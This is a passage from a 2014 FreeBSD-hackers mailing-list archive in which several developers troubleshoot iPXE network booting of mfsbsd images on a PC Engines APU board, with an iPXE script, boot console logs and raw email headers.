http://mfsbsd.vx.sk/files/images/10/${CPU-ARCH}/mfsbsd-10.0-REL= EASE-${CPU-ARCH}.img >>> kernel http://volt.iem.pw.edu.pl/~czekirdk/memdisk raw >>> initrd ${img} >>> boot >>> >>> It detects architecture and runs mfsbsd directly from Martin Matuska we= bsite. >>> >>> It's simpliest way to boot different iso or img image of FreeBSD. It >>> will be nice to have local mirror and make menu with different >>> releases. I'll prepare menu, but I need few days, I'll inform you. >>> >>> I think that in next week will be ready iPXE port for FreeBSD and >>> simply solutions. >>> >>> I have many scripts to boot ubuntu, debian, etc. and I can help you >>> with it. It's simple to run FreeBSD from nfs server too. Ask if you >>> have problems. >>> >>> Kamil >>> >>> 2014-06-12 17:26 GMT+02:00 Mike Tancsa : >>>> On 6/12/2014 10:38 AM, Daniel Braniss wrote: >>>>> >>>>> Hi all, >>>>> while I try to learn about iPXE, I am wondering if someone already >>>>> managed to boot FreeBSD via the network, else it=E2=80=99s going to b= e an >>>>> interesting weekend :-) >>>> >>>> >>>> If you mean http://www.pcengines.ch/apu.htm, just make sure you are bo= oting >>>> a relatively recent FreeBSD version (newer than April I think). Otherw= ise, >>>> it boots just fine like any other bit of hardware over the network. >>>> >>>> ---Mike >>>> >>>> >>>> -- >>>> ------------------- >>>> Mike Tancsa, tel +1 519 651 3400 >>>> Sentex Communications, mike@sentex.net >>>> Providing Internet services since 1994 www.sentex.net >>>> Cambridge, Ontario Canada http://www.tancsa.com/ >>>> >>>> _______________________________________________ >>>> freebsd-hackers@freebsd.org mailing list >>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.= org" >> >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.or= g" > From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 10:18:30 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 82140E79 for ; Fri, 13 Jun 2014 10:18:30 +0000 (UTC) Received: from mail-ob0-f180.google.com (mail-ob0-f180.google.com [209.85.214.180]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 42ACA2919 for ; Fri, 13 Jun 2014 10:18:29 +0000 (UTC) Received: by mail-ob0-f180.google.com with SMTP id vb8so2668585obc.39 for ; Fri, 13 Jun 2014 03:18:23 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=fBQcWn1oloioR2TyHIejsxfFNIHmXFd4UFfj7OTacEQ=; b=X20UMSbIcfDDht/kPgjzIsEG4kd3bFy2SbULSb6WU6A3afkRwufTfHAVdvDCjiNJm3 8nbVaNslLrqveMbuTGv+gxFVe479iSi+4B2zvrwPRLXGHky5LjIGFqs82BW2XKCupZiZ ++aoBlAHiOXkN9tlMSylgve+ZIoWGTOozaPXIaVpHvxKv8qAB5SVStVJ4Wym/xaQmvfI S0KfspvlOJTb9FFD3OgaOGekr0TpISIiPTycDh1tnKemCjfjqiLdhjyMhPv7MEMUcY+u FNaWE3I4fnSdhCwt8689scALqurf+A4Ap3304Z4/HHNL5tBZyP8uGHUf9rf56l6nx/At MVmA== X-Gm-Message-State: ALoCoQmeSo5u1133/PUdQ+gAsWI11Jx/1gIGsrVTgGIYUdNKCp6lxVMp475M+xPcAmcueEL1rAsv X-Received: by 10.60.160.4 with SMTP id xg4mr1744211oeb.4.1402654702956; Fri, 13 Jun 2014 03:18:22 -0700 (PDT) Received: from [172.21.0.93] (65-111-100-227.static.grandenetworks.net. [65.111.100.227]) by mx.google.com with ESMTPSA id z8sm13851939oey.5.2014.06.13.03.18.17 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 13 Jun 2014 03:18:17 -0700 (PDT) Content-Type: text/plain; charset=utf-8 Mime-Version: 1.0 (Mac OS X Mail 8.0 \(1955.2\)) Subject: Re: iPXE booting latest PCengines alu board From: Jim Thompson In-Reply-To: Date: Fri, 13 Jun 2014 05:18:16 -0500 Content-Transfer-Encoding: quoted-printable Message-Id: References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> <17B3B28C-A9D7-4FD2-ACEB-CFE4738C4D49@cs.huji.ac.il> <71ECD01F-5DC0-45D2-8C84-AA6C3D9903CA@netgate.com> To: Kamil Czekirda X-Mailer: Apple Mail (2.1955.2) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 10:18:30 -0000 Maybe I=E2=80=9Dm misreading something. iPXE 1.0.0+ -- Open Source Network Boot Firmware -- http://ipxe.org Features: HTTP iSCSI DNS TFTP AoE bzImage ELF MBOOT PXE PXEXT Menu iPXE> dhcp =20 Waiting for link-up on net0... ok Configuring (net0 00:0d:b9:33:88:64)..... ok iPXE> kernel http://volt.iem.pw.edu.pl/~czekirdk/memdisk iso http://volt.iem.pw.edu.pl/~czekirdk/memdisk... ok=20 iPXE> = http://svnweb.freebsd.org/socsvn/soc2014/kczekirda/pxe-fai-head/tools/mfsb= sd-11.0-CURRENT-r266655-amd64.iso?view=3Dco = http://svnweb.freebsd.org/socsvn/soc2014/kczekirda/pxe-fai-head/tools/mfsb= sd-11.0-CURRENT-r266655-amd64.iso?view=3Dco: command not found iPXE> initrd = http://svmnweb.freebsd.org/socsvn/soc2014/kvzekirda/pxe-fai-head/tools/mfs= bsd-11.0-CURRENT-r266655-amd64.iso?view=3Dco = http://svmnweb.freebsd.org/socsvn/soc2014/kvzekirda/pxe-fai-head/tools/mfs= bsd-11.0-CURRENT-r266655-amd64.iso?view=3Dco... Error 0x3e11613b = (http://ipxe.org/3e11613b) iPXE>=20 > On Jun 13, 2014, at 4:52 AM, Kamil Czekirda = wrote: >=20 > Please try mfsbsd based on current (r266655): >=20 > = http://svnweb.freebsd.org/socsvn/soc2014/kczekirda/pxe-fai-head/tools/mfsb= sd-11.0-CURRENT-r266655-amd64.iso?view=3Dco >=20 > example: >=20 > iPXE> dhcp > iPXE> kernel http://volt.iem.pw.edu.pl/~czekirdk/memdisk iso > iPXE> = http://svnweb.freebsd.org/socsvn/soc2014/kczekirda/pxe-fai-head/tools/mfsb= sd-11.0-CURRENT-r266655-amd64.iso?view=3Dco >=20 > Be careful, in second line I changed raw to iso. >=20 > Regards, > Kamil >=20 > 2014-06-13 11:45 GMT+02:00 Jim Thompson : >> Doesn=E2=80=99t get very far... >>=20 >> PC Engines APU BIOS build date: Apr 5 2014 >> Reading data from file [bootorder] >> SeaBIOS (version ?-20140405_120742-frink) >> SeaBIOS (version ?-20140405_120742-frink) >> Found coreboot cbmem console @ 7e150400 >> Found mainboard PC Engines APU >> Relocating init from 0x000e8e71 to 0x7e1065e0 (size 39259) >> Found CBFS header at 0xfffffb90 >> found file "bootorder" in cbmem >> CPU Mhz=3D1001 >> Found 27 PCI devices (max PCI bus is 05) >> Copying PIR from 0x7e160400 to 0x000f27a0 >> Copying MPTABLE from 0x7e161400/7e161410 to 0x000f25b0 with length = 1ec >> Copying ACPI RSDP from 0x7e162400 to 0x000f2590 >> Copying SMBIOS entry point from 0x7e16d800 to 0x000f2570 >> Using pmtimer, ioport 0x808 >> Scan for VGA option rom >> EHCI init on dev 00:12.2 (regs=3D0xf7f08420) >> Found 1 lpt ports >> Found 2 serial ports >> AHCI controller at 11.0, iobase f7f08000, irq 11 >> EHCI init on dev 00:13.2 (regs=3D0xf7f08520) >> EHCI init on dev 00:16.2 (regs=3D0xf7f08620) >> Searching bootorder for: /rom@img/setup >> Searching bootorder for: /rom@img/memtest >> OHCI init on dev 00:12.0 (regs=3D0xf7f04000) >> OHCI init on dev 00:13.0 (regs=3D0xf7f05000) >> OHCI init on dev 00:14.5 (regs=3D0xf7f06000) >> OHCI init on dev 00:16.0 (regs=3D0xf7f07000) >> Searching bootorder for: /pci@i0cf8/usb@12,2/storage@1/*@0/*@0,0 >> Searching bootorder for: /pci@i0cf8/usb@12,2/usb-*@1 >> Searching bootorder for: /pci@i0cf8/usb@16,2/storage@1/*@0/*@0,0 >> Searching bootorder for: /pci@i0cf8/usb@16,2/usb-*@1 >> USB MSC vendor=3D'Multiple' product=3D'Card Reader' rev=3D'1.00' = type=3D0 removable=3D1 >> USB MSC blksize=3D512 sectors=3D15564800 >> USB MSC vendor=3D'PNY' product=3D'USB 2.0 FD' rev=3D'1100' type=3D0 = removable=3D1 >> USB MSC blksize=3D512 sectors=3D15810560 >> All threads complete. >> Scan for option roms >> Running option rom at c000:0003 >>=20 >>=20 >> iPXE (http://ipxe.org) 00:00.0 C000 PCI2.10 PnP PMMpmm call arg1=3D1 >> pmm call arg1=3D0 >> +7E0DA5C0pmm call arg1=3D1 >> pmm call arg1=3D0 >> +7E03A5C0 C000 >>=20 >>=20 >> iPXE (PCI 00:00.0) starting execution...ok >> iPXE initialising devices...ok >>=20 >>=20 >>=20 >> iPXE 1.0.0+ -- Open Source Network Boot Firmware -- http://ipxe.org >> Features: HTTP iSCSI DNS TFTP AoE bzImage ELF MBOOT PXE PXEXT Menu >>=20 >> iPXE> dhcp >> Waiting for link-up on net0................. Down = (http://ipxe.org/38086101) >> Waiting for link-up on net1................. Down = (http://ipxe.org/38086101) >> iPXE> dhcp >> Configuring (net0 00:0d:b9:33:88:64)...... ok >> iPXE> kernel http://volt.iem.pw.edu.pl/~czekirdk/memdisk raw >> http://volt.iem.pw.edu.pl/~czekirdk/memdisk... ok >> iPXE> initrd = http://mfsbsd.vx.sk/files/images/10/amd64/mfsbsd-10.0-RELEASE-amd64.img >> = http://mfsbsd.vx.sk/files/images/10/amd64/mfsbsd-10.0-RELEASE-amd64.img...= ok >> iPXE> boot >> MEMDISK 6.02 2013-10-13 Copyright 2001-2013 H. Peter Anvin et al >> e820: 0000000000000000 000000000009fc00 1 >> e820: 000000000009fc00 0000000000000400 2 >> e820: 00000000000f0000 0000000000010000 2 >> e820: 0000000000100000 000000007e010000 1 >> e820: 000000007e110000 0000000000ef0000 2 >> e820: 00000000f8000000 0000000001000000 2 >> Ramdisk at 0x01700000, length 0x02900000 >> command line: raw >> MEMDISK: Image seems to have fractional end cylinder >> Disk is hd0, 41984 K, C/H/S =3D 5/255/63 (MBR/MBR), EDD on, rw >> Using raw access to high memory >> Code 1744, meminfo 168, cmdline 4, stack 512 >> Total size needed =3D 2428 bytes, allocating 3K >> Old dos memory at 0x9c400 (map says 0x9fc00), loading at 0x9b800 >> 1588: 0x5800 15E801: 0x3c00 0x0070 >> INT 13 08: Failure, assuming this is the only drive >> Drive probing gives drive shift limit: 0x81 >> old: int13 =3D f000e3fe int15 =3D f000f859 int1e =3D f0007244 >> new: int13 =3D 9b80000a int15 =3D 9b8003ba int1e =3D f0007244 >> Loading boot sector... booting=E2=80=A6 >> \ <=E2=80=94 hangs here >>=20 >> Note that not even the demo works: >>=20 >> >> iPXE (PCI 00:00.0) starting execution...ok >> iPXE initialising devices...ok >>=20 >>=20 >>=20 >> iPXE 1.0.0+ -- Open Source Network Boot Firmware -- http://ipxe.org >> Features: HTTP iSCSI DNS TFTP AoE bzImage ELF MBOOT PXE PXEXT Menu >>=20 >> iPXE> chain http://boot.ipxe.org/demo/boot.php >> http://boot.ipxe.org/demo/boot.php... Error 0x3e11623b = (http://ipxe.org/3e11623b) >> iPXE> dhcp >> Configuring (net0 00:0d:b9:33:88:64)...... ok >> iPXE> route >> net0: 172.21.0.89/255.255.255.0 gw 172.21.0.1 >> iPXE> show dns >> net0.dhcp/dns:ipv4 =3D 172.21.0.1 >> iPXE> chain http://boot.ipxe.org/demo/boot.php >> http://boot.ipxe.org/demo/boot.php... ok >> vmlinuz-2.6.17-14mdv... ok >> initrd.img... ok >> >>=20 >> It=E2=80=99s possible that the console isn=E2=80=99t being properly = set, of course. >> It=E2=80=99s also possible that 10-RELEASE isn=E2=80=99t new enough = for the APU. >>=20 >> For Daniel >> http://dox.ipxe.org/index.html >> http://ipxe.org >>=20 >>=20 >>=20 >>> On Jun 13, 2014, at 3:32 AM, Daniel Braniss = wrote: >>>=20 >>> Hi Kamil, >>> Nice work! though I=E2=80=99m not that ambitious. >>> I need to be able to load pxeboot and that seems to >>> need some magic. BTW, do you know where there is >>> some good docs on iPXE? >>>=20 >>> thanks, >>> danny >>>=20 >>>=20 >>> On Jun 13, 2014, at 12:38 AM, Kamil Czekirda = wrote: >>>=20 >>>> Hi, >>>>=20 >>>> Please look at my GSoC wiki page: >>>> https://wiki.freebsd.org/SummerOfCode2014/FreeBSD_PXE_preseed >>>>=20 >>>> There is kpxe file, you can chainload it using file option in your = dhcp server. >>>>=20 >>>> It's very simple script: >>>>=20 >>>> #!ipxe >>>> dhcp >>>> cpuid --ext 29 && set CPU-ARCH amd64 || set CPU-ARCH i386 >>>> set img = http://mfsbsd.vx.sk/files/images/10/${CPU-ARCH}/mfsbsd-10.0-RELEASE-${CPU-= ARCH}.img >>>> kernel http://volt.iem.pw.edu.pl/~czekirdk/memdisk raw >>>> initrd ${img} >>>> boot >>>>=20 >>>> It detects architecture and runs mfsbsd directly from Martin = Matuska website. >>>>=20 >>>> It's simpliest way to boot different iso or img image of FreeBSD. = It >>>> will be nice to have local mirror and make menu with different >>>> releases. I'll prepare menu, but I need few days, I'll inform you. >>>>=20 >>>> I think that in next week will be ready iPXE port for FreeBSD and >>>> simply solutions. >>>>=20 >>>> I have many scripts to boot ubuntu, debian, etc. and I can help you >>>> with it. It's simple to run FreeBSD from nfs server too. Ask if you >>>> have problems. >>>>=20 >>>> Kamil >>>>=20 >>>> 2014-06-12 17:26 GMT+02:00 Mike Tancsa : >>>>> On 6/12/2014 10:38 AM, Daniel Braniss wrote: >>>>>>=20 >>>>>> Hi all, >>>>>> while I try to learn about iPXE, I am wondering if someone = already >>>>>> managed to boot FreeBSD via the network, else it=E2=80=99s going = to be an >>>>>> interesting weekend :-) >>>>>=20 >>>>>=20 >>>>> If you mean http://www.pcengines.ch/apu.htm, just make sure you = are booting >>>>> a relatively recent FreeBSD version (newer than April I think). = Otherwise, >>>>> it boots just fine like any other bit of hardware over the = network. >>>>>=20 >>>>> ---Mike >>>>>=20 >>>>>=20 >>>>> -- >>>>> ------------------- >>>>> Mike Tancsa, tel +1 519 651 3400 >>>>> Sentex Communications, mike@sentex.net >>>>> Providing Internet services since 1994 www.sentex.net >>>>> Cambridge, Ontario Canada http://www.tancsa.com/ >>>>>=20 >>>>> _______________________________________________ >>>>> freebsd-hackers@freebsd.org mailing list >>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>>> To unsubscribe, send any mail to = "freebsd-hackers-unsubscribe@freebsd.org" >>>=20 >>> _______________________________________________ >>> freebsd-hackers@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>> To unsubscribe, send any mail to = "freebsd-hackers-unsubscribe@freebsd.org" >>=20 From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 10:20:03 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 03BC1F8C for ; Fri, 13 Jun 2014 10:20:03 +0000 (UTC) Received: from kabab.cs.huji.ac.il (kabab.cs.huji.ac.il [132.65.116.12]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id A57472931 for ; Fri, 13 Jun 2014 10:20:02 +0000 (UTC) Received: from th-04.cs.huji.ac.il ([132.65.80.125]) by kabab.cs.huji.ac.il with esmtp id 1WvOaV-00040g-99; Fri, 13 Jun 2014 13:19:59 +0300 Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: iPXE booting latest PCengines alu board From: Daniel Braniss In-Reply-To: Date: Fri, 13 Jun 2014 13:19:46 +0300 Content-Transfer-Encoding: quoted-printable Message-Id: <050E80C4-D845-4C59-B9CC-010E7CE9A445@cs.huji.ac.il> References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> <17B3B28C-A9D7-4FD2-ACEB-CFE4738C4D49@cs.huji.ac.il> <71ECD01F-5DC0-45D2-8C84-AA6C3D9903CA@netgate.com> To: Kamil Czekirda X-Mailer: Apple Mail (2.1878.2) Cc: Jim Thompson , hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 10:20:03 -0000 On Jun 13, 2014, at 12:52 PM, Kamil Czekirda = wrote: > Please try mfsbsd based on current (r266655): >=20 > = http://svnweb.freebsd.org/socsvn/soc2014/kczekirda/pxe-fai-head/tools/mfsb= sd-11.0-CURRENT-r266655-amd64.iso?view=3Dco >=20 > example: >=20 > iPXE> dhcp > iPXE> kernel http://volt.iem.pw.edu.pl/~czekirdk/memdisk iso > iPXE> = http://svnweb.freebsd.org/socsvn/soc2014/kczekirda/pxe-fai-head/tools/mfsb= sd-11.0-CURRENT-r266655-amd64.iso?view=3Dco something missing in the line above From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 10:23:27 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3B1E328C for ; Fri, 13 Jun 2014 10:23:27 +0000 (UTC) Received: from kabab.cs.huji.ac.il (kabab.cs.huji.ac.il [132.65.116.12]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id DDCED29EA for ; Fri, 13 Jun 2014 10:23:26 +0000 (UTC) Received: from th-04.cs.huji.ac.il ([132.65.80.125]) by kabab.cs.huji.ac.il with esmtp id 1WvOdo-00046R-74; Fri, 13 Jun 2014 13:23:24 +0300 Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: iPXE booting latest PCengines alu board From: Daniel Braniss In-Reply-To: <050E80C4-D845-4C59-B9CC-010E7CE9A445@cs.huji.ac.il> Date: Fri, 13 Jun 2014 13:23:11 +0300 Content-Transfer-Encoding: quoted-printable Message-Id: References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> <17B3B28C-A9D7-4FD2-ACEB-CFE4738C4D49@cs.huji.ac.il> <71ECD01F-5DC0-45D2-8C84-AA6C3D9903CA@netgate.com> <050E80C4-D845-4C59-B9CC-010E7CE9A445@cs.huji.ac.il> To: Kamil Czekirda X-Mailer: Apple Mail (2.1878.2) Cc: Jim Thompson , hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 10:23:27 -0000 just for the record, the board (apu) is booting - and working - from a = local disk just fine! I just need it to boot from the network so I can do some developing. danny From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 10:32:03 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 09A4C748 for ; Fri, 13 Jun 2014 10:32:03 +0000 (UTC) Received: from kabab.cs.huji.ac.il (kabab.cs.huji.ac.il [132.65.116.12]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id AB1FA2B1A for ; Fri, 13 Jun 2014 10:32:02 +0000 (UTC) Received: from th-04.cs.huji.ac.il ([132.65.80.125]) by kabab.cs.huji.ac.il with esmtp id 1WvOm7-0004MO-7l; Fri, 13 Jun 2014 13:31:59 +0300 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: iPXE booting latest PCengines apu board From: Daniel Braniss In-Reply-To: <71ECD01F-5DC0-45D2-8C84-AA6C3D9903CA@netgate.com> Date: Fri, 13 Jun 2014 13:31:46 +0300 Message-Id: References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> <17B3B28C-A9D7-4FD2-ACEB-CFE4738C4D49@cs.huji.ac.il> <71ECD01F-5DC0-45D2-8C84-AA6C3D9903CA@netgate.com> To: Jim Thompson X-Mailer: Apple Mail (2.1878.2) Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: Kamil Czekirda , hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 10:32:03 -0000 On Jun 13, 2014, at 12:45 PM, Jim Thompson wrote: > > For Daniel > http://dox.ipxe.org/index.html > http://ipxe.org been there, but too much to read between the lines :-) thanks, danny PS: changing alu to apu in subject From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 10:34:45 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AABBB871 for ; Fri, 13 Jun 2014 10:34:45 +0000 (UTC) Received: from mail-ob0-f172.google.com (mail-ob0-f172.google.com [209.85.214.172]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 6CC472B3B for ; Fri, 13 Jun 2014 10:34:45 +0000 (UTC) Received: by mail-ob0-f172.google.com with SMTP id uy5so2697492obc.3 for ; Fri, 13 Jun 2014 03:34:38 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=kr1IGwCoqX1fh6VPwggp7wW6/sNgFb4nVGTRhbh4pcQ=; b=Qz2Znr+pAexI/8bZqbvjwBCJKIfbRwr56BMpf1qMlnppSpM9DY1MY7Fv4dd6oi7Rec Nix+53mg05ml/bPCYG4u9Onw7dC60JUTCuIoJxv8TXI8p9ZIxR+jGF/kkLtSyuYBX/Cw FrcQfuv/dUIcOp8ooswbkkMPmMHyhV+XRpQ24i1gTyD4yNf1vV2eO/YiymYeMoKNia4s YnLLaUSadud6Io+WqwJK1v4Y8PkApV1uNs1DJL33+3e/WvJPDtX8aHyrJVem8IymoQtz Csb9C7qaXiDUuAg9GAYwf9I4aTsLEqOMU6tazUeNBI4PDLOd/Z6rRSF73P/3nIsAT0C/ aNCA== X-Gm-Message-State: ALoCoQnmy/IQqVxpPddaO+9j94/Kk76hwFzqpqkxv/iolkPmjSHsEH756GCzqohw0zBhmicOBO7I X-Received: by 10.60.131.232 with SMTP id op8mr1791338oeb.42.1402655678015; Fri, 13 Jun 2014 03:34:38 -0700 (PDT) Received: from [172.21.0.93] (65-111-100-227.static.grandenetworks.net. [65.111.100.227]) by mx.google.com with ESMTPSA id ys16sm6370617obc.15.2014.06.13.03.34.32 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 13 Jun 2014 03:34:32 -0700 (PDT) Content-Type: text/plain; charset=utf-8 Mime-Version: 1.0 (Mac OS X Mail 8.0 \(1955.2\)) Subject: Re: iPXE booting latest PCengines alu board From: Jim Thompson In-Reply-To: <050E80C4-D845-4C59-B9CC-010E7CE9A445@cs.huji.ac.il> Date: Fri, 13 Jun 2014 05:34:31 -0500 Content-Transfer-Encoding: quoted-printable Message-Id: References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> <17B3B28C-A9D7-4FD2-ACEB-CFE4738C4D49@cs.huji.ac.il> <71ECD01F-5DC0-45D2-8C84-AA6C3D9903CA@netgate.com> <050E80C4-D845-4C59-B9CC-010E7CE9A445@cs.huji.ac.il> To: Daniel Braniss X-Mailer: Apple Mail (2.1955.2) Cc: Kamil Czekirda , hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Jun 2014 10:34:45 -0000 > On Jun 13, 2014, at 5:19 AM, Daniel Braniss = wrote: >=20 >=20 > On Jun 13, 2014, at 12:52 PM, Kamil Czekirda = wrote: >=20 >> Please try mfsbsd based on current (r266655): >>=20 >> = http://svnweb.freebsd.org/socsvn/soc2014/kczekirda/pxe-fai-head/tools/mfsb= sd-11.0-CURRENT-r266655-amd64.iso?view=3Dco >>=20 >> example: >>=20 >> iPXE> dhcp >> iPXE> kernel http://volt.iem.pw.edu.pl/~czekirdk/memdisk iso >> iPXE> = http://svnweb.freebsd.org/socsvn/soc2014/kczekirda/pxe-fai-head/tools/mfsb= sd-11.0-CURRENT-r266655-amd64.iso?view=3Dco >=20 > something missing in the line above >=20 yeah, and it=E2=80=99s not obvious. fetch-ed the kernel and iso to a local freebsd 10-CURRENT machine (nuc2) iPXE> kernel tftp://nuc2/memdisk tftp://nuc2/memdisk... ok iPXE> kernel tftp://nuc2/memdisk iso tftp://nuc2/memdisk... ok iPXE> initrd tftp://nuc2/mfsbsd.iso tftp://nuc2/mfsbsd.iso... ok=20 iPXE> boot MEMDISK 6.02 2013-10-13 Copyright 2001-2013 H. Peter Anvin et al e820: 0000000000000000 000000000009fc00 1 e820: 000000000009fc00 0000000000000400 2 e820: 00000000000f0000 0000000000010000 2 e820: 0000000000100000 000000007e010000 1 e820: 000000007e110000 0000000000ef0000 2 e820: 00000000f8000000 0000000001000000 2 Ramdisk at 0x01b76000, length 0x0248a000 command line: iso El Torito BVD sanity check failed. El Torito boot catalog sanity check failed. MEMDISK: Image seems to have fractional end cylinder MEMDISK: Image appears to be truncated Disk is hd96, 9354 K, C/H/S =3D 65535/255/15 (El Torito/El Torito), EDD = on, rw Using safe INT 15h access to high memory Code 1860, meminfo 168, cmdline 4, stack 512 Total size needed =3D 2544 bytes, allocating 3K Old dos memory at 0x9c400 (map says 0x9fc00), loading at 0x9b800 1588: 0x69d8 15E801: 0x3c00 0x00b7 INT 13 08: Failure, assuming this is the only drive Drive probing gives drive shift limit: 0xe1 old: int13 =3D f000e3fe int15 =3D f000f859 int1e =3D f0007244 new: int13 =3D 9b80000a int15 =3D 9b8003fd int1e =3D f0007244 Loading boot sector... booting... From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 13 14:07:58 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AA13128F for ; Fri, 13 Jun 2014 14:07:58 +0000 (UTC) Received: from mail-we0-x236.google.com (mail-we0-x236.google.com [IPv6:2a00:1450:400c:c03::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4032A2F88 for ; Fri, 13 Jun 2014 14:07:58 +0000 (UTC) Received: by mail-we0-f182.google.com with SMTP id q59so2805331wes.41 for ; Fri, 13 Jun 2014 07:07:56 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=sBdxMrIBwQzAVVIvRnQCzxQBpouYAe4Jcql5Nzcj3MI=; b=mBBLaCyFGgWcpEhYnkXDxUCAMBK+RueLQnH5MF620el3pD2QgFUKXL6pZWwNuM8HvJ P0Uid80mWjFXsSsAcvP31JtHbdbvEW6LTzlNlgqlALfrT4te9Bwf3AcyJkzoyQsm1YW+ 